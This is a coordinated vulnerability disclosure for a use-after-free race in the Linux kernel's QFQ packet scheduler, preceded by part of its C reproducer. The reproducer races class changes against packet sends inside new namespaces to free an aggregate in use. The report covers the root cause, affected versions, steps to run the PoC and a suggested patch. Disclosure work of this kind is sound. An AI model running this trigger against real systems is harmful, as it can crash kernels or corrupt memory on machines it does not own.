static int setup_udp(int *receiver)
{
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
.sin_port = 0,
};
socklen_t addrlen = sizeof(addr);
int sender;
int priority = CLASS_HANDLE;
*receiver = socket(AF_INET, SOCK_DGRAM, 0);
if (*receiver < 0)
die("receiver socket");
if (bind(*receiver, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("receiver bind");
if (getsockname(*receiver, (struct sockaddr *)&addr, &addrlen) < 0)
die("receiver getsockname");
sender = socket(AF_INET, SOCK_DGRAM, 0);
if (sender < 0)
die("sender socket");
if (setsockopt(sender, SOL_SOCKET, SO_PRIORITY, &priority,
sizeof(priority)) < 0)
die("SO_PRIORITY");
if (connect(sender, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("sender connect");
return sender;
}
static void pin_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0)
die("sched_setaffinity");
}
static void spin_delay(unsigned int count)
{
while (count--)
asm volatile("pause" ::: "memory");
}
static void *sender_thread(void *arg)
{
struct race_ctx *ctx = arg;
unsigned int i;
pin_cpu(1);
for (i = 1; i <= ITERATIONS; i++) {
char drain[2048];
while (atomic_load_explicit(&ctx->go, memory_order_acquire) != i)
asm volatile("pause" ::: "memory");
spin_delay(i % MAX_DELAY);
if (send(ctx->sender, ctx->packet, sizeof(ctx->packet), 0) < 0)
die("send");
while (recv(ctx->receiver, drain, sizeof(drain), MSG_DONTWAIT) > 0)
;
atomic_store_explicit(&ctx->done, i, memory_order_release);
}
return NULL;
}
int main(void)
{
struct race_ctx ctx;
pthread_t thread;
int nl;
int ifindex;
int ret;
int thread_ret;
unsigned int i;
memset(&ctx, 0, sizeof(ctx));
memset(ctx.packet, 'A', sizeof(ctx.packet));
setup_namespace();
ifindex = setup_loopback();
nl = nl_open();
expect_ok(qdisc_add(nl, ifindex), "add qfq qdisc");
expect_ok(class_change(nl, ifindex, 512, true, false),
"create qfq class");
ctx.sender = setup_udp(&ctx.receiver);
pin_cpu(0);
thread_ret = pthread_create(&thread, NULL, sender_thread, &ctx);
if (thread_ret != 0) {
errno = thread_ret;
die("pthread_create");
}
/*
* The estimator attribute makes the post-snapshot part of
* qfq_change_class() long enough for the packet enqueue on CPU 1 to
* migrate the class to the requested (weight=1, lmax=1500) aggregate.
*/
for (i = 1; i <= ITERATIONS; i++) {
expect_ok(class_change(nl, ifindex, 512, false, false),
"reset qfq class");
atomic_store_explicit(&ctx.go, i, memory_order_release);
ret = class_change(nl, ifindex, TARGET_LMAX, false, true);
expect_ok(ret, "change qfq class");
while (atomic_load_explicit(&ctx.done, memory_order_acquire) != i)
asm volatile("pause" ::: "memory");
}
pthread_join(thread, NULL);
close(ctx.sender);
close(ctx.receiver);
close(nl);
return 0;
}
Hello,
Weâ??re contacting you from OpenAI Security Research to notify you of a
potential security issue identified during our internal research
process.
The issue appears to affect your product. We've validated the behavior
internally and believe it may pose a risk.
Please see the below report for details.
We are reaching out privately and cooperatively. We are happy to
collaborate on patch validation or coordinate timelines. We are not
planning to make any public disclosure unless there's an agreement to
do so or we assess that the risk requires it.
Please let us know how youâ??d prefer to proceed and if you need
additional details or support.
Best regards,
OpenAI Security Research Team
outbounddisclosures@xxxxxxxxxx
============= Summary ============
A race in the Linux QFQ network scheduler can make
qfq_change_class() remove a class from an aggregate and then add it
back through the same, already-freed aggregate pointer. This causes a
kernel heap use-after-free in net/sched/sch_qfq.c.
qfq_change_class() reads an existing class's aggregate parameters
under the qdisc tree lock, releases that lock, and later reacquires it
to select the aggregate matching the requested parameters. While the
lock is released, qfq_enqueue() can move the class to that exact
aggregate in response to a larger packet. qfq_change_class() does not
check whether qfq_find_agg() returned cl->agg itself.
If the aggregate contains only that class, qfq_deact_rm_from_agg()
destroys it. qfq_add_to_agg() then immediately reads and writes the
freed object and leaves the live class referring to freed memory.
A process with CAP_NET_ADMIN in the affected network namespace can
reach the bug. When unprivileged user and network namespaces are
enabled, a local unprivileged process can obtain that capability in a
new namespace. The resulting memory corruption can crash the kernel
and can compromise kernel integrity.
======== Affected Versions =======
The aggregate implementation and vulnerable class replacement
sequence were introduced by:
462dbc9101acd38e92eda93c0726857517a24bbd
("pkt_sched: QFQ Plus: fair-queueing service at DRR cost")
https://github.com/torvalds/linux/commit/462dbc9101acd38e92eda93c0726857517a24bbd
The issue was reproduced on Linux 7.2-rc3 at:
82a47586c0b9266622657009aa30573dddf09f53
It is also present in Linux 7.2-rc5 at:
f5098b6bae761e346ebcd9da7f95622c04733cff
As of July 27, 2026, the vulnerable sequence remains in upstream
master at:
62cc90241548d5570ee68e01aaba6506964e9811
https://github.com/torvalds/linux/commit/62cc90241548d5570ee68e01aaba6506964e9811
Required configuration:
* CONFIG_NET_SCHED
* CONFIG_NET_SCH_QFQ
The attached reproducer additionally requires:
* CONFIG_USER_NS
* CONFIG_NET_NS
* CONFIG_INET
KASAN is recommended to observe the first invalid access.
=========== Root Cause ===========
The control path is:
RTM_NEWTCLASS
tc_ctl_tclass()
qfq_change_class()
gen_replace_estimator()
sch_tree_lock()
qfq_find_agg()
qfq_deact_rm_from_agg()
qfq_rm_from_agg()
qfq_destroy_agg()
kfree()
qfq_add_to_agg()
qfq_update_agg()
The competing packet path is:
send()
qfq_enqueue()
qfq_change_agg()
qfq_find_agg()
qfq_deact_rm_from_agg()
qfq_add_to_agg()
For an existing class, qfq_change_class() first snapshots the
aggregate tuple while holding the qdisc tree lock:
~
sch_tree_lock(sch);
old_weight = cl->agg->class_weight;
old_lmax = cl->agg->lmax;
sch_tree_unlock(sch);
~
It then performs work, including an optional estimator replacement,
without that lock. The packet path can run during this interval. If a
packet is larger than the current aggregate's lmax, qfq_enqueue()
calls qfq_change_agg() and moves the class to an aggregate matching
the packet length.
When the control path resumes, it selects its requested aggregate and
unconditionally replaces the existing class's aggregate:
~
sch_tree_lock(sch);
new_agg = qfq_find_agg(q, lmax, weight);
...
if (existing)
qfq_deact_rm_from_agg(q, cl);
...
qfq_add_to_agg(q, new_agg, cl);
~
The race occurs when the packet path has already moved the class to
the requested (weight, lmax) tuple. In that case qfq_find_agg()
returns cl->agg:
~
CPU 0: qfq_change_class()
snapshot old tuple (weight=1, lmax=512)
release qdisc tree lock
gen_replace_estimator()
CPU 1: qfq_enqueue()
observe packet length 1500
qfq_change_agg(1, 1500)
move class to aggregate B
CPU 0:
acquire qdisc tree lock
new_agg = qfq_find_agg(1, 1500) // new_agg == cl->agg == B
qfq_deact_rm_from_agg(cl)
qfq_rm_from_agg(cl)
qfq_destroy_agg(B)
kfree(B)
qfq_add_to_agg(new_agg, cl) // new_agg points to freed B
~
For a singleton aggregate, qfq_rm_from_agg() calls
qfq_destroy_agg(). The first stale access is the read of
agg->num_classes from qfq_add_to_agg():
~
cl->agg = agg;
qfq_update_agg(q, agg, agg->num_classes + 1);
~
qfq_update_agg() then performs additional reads and writes through
the freed aggregate. The attached KASAN output reports:
~
BUG: KASAN: slab-use-after-free in qfq_add_to_agg
Read of size 4
...
Freed by:
qfq_rm_from_agg
qfq_change_class
...
Kernel panic - not syncing: Fatal exception in interrupt
~
========== Reproduction ==========
1. Build Linux at 82a47586c0b9266622657009aa30573dddf09f53
with the configuration options listed above and KASAN enabled.
Use a system with at least two CPUs. If QFQ is configured as a
module, make sch_qfq available before running the reproducer.
2. Build the attached poc.c:
~
gcc -static -O2 -pthread -Wall -Wextra -o poc poc.c
~
3. Run the resulting binary:
~
./poc
~
The reproducer creates user and network namespaces, brings up the
loopback device, installs a QFQ qdisc and class, and races class
changes against packet enqueue. Race timing varies between systems.
On the validated KASAN kernel, the expected result is a
slab-use-after-free report in qfq_add_to_agg(), followed by a kernel
panic. The full observed output is attached as splash.txt.
========= Suggested Patch ========
The attached patch,
0001-net-sched-sch_qfq-prevent-aggregate-self-replacement.patch,
checks new_agg against cl->agg while the qdisc tree lock is held. If
the packet path has already moved the class to the requested
aggregate, qfq_change_class() skips the redundant removal and
re-addition. Any requested estimator replacement has already
completed, so the operation can otherwise finish normally.
The change affects only this self-replacement case. Aggregate
migrations to a different object and new class creation retain their
existing behavior.
The patch:
* applies cleanly to f5098b6bae761e346ebcd9da7f95622c04733cff;
* passes scripts/checkpatch.pl --strict with no warnings or errors;
* builds successfully with the supplied configuration using:
~
make -j8 M=net/sched modules
~
=========== Disclaimer ===========
This information is being shared by OpenAI solely for the purpose of
improving security and reducing potential harm. This information is
presented as-is. We make no representations or warranties, express or
implied, as to the completeness, accuracy, or fitness for any
particular purpose of the information. This includes, without
limitation any suggestions or ideas presented on how to remedy or
mitigate an identified vulnerability, including whether such
suggestions or ideas would be effective and/or could have other
negative impacts.
OpenAI disclaims any liability for direct or indirect damages arising
from the reliance on, or use, misuse, or interpretation of this
information. Any references to third-party systems, services, or
entities are included solely for identification purposes and do not
imply endorsement, responsibility, or attribution.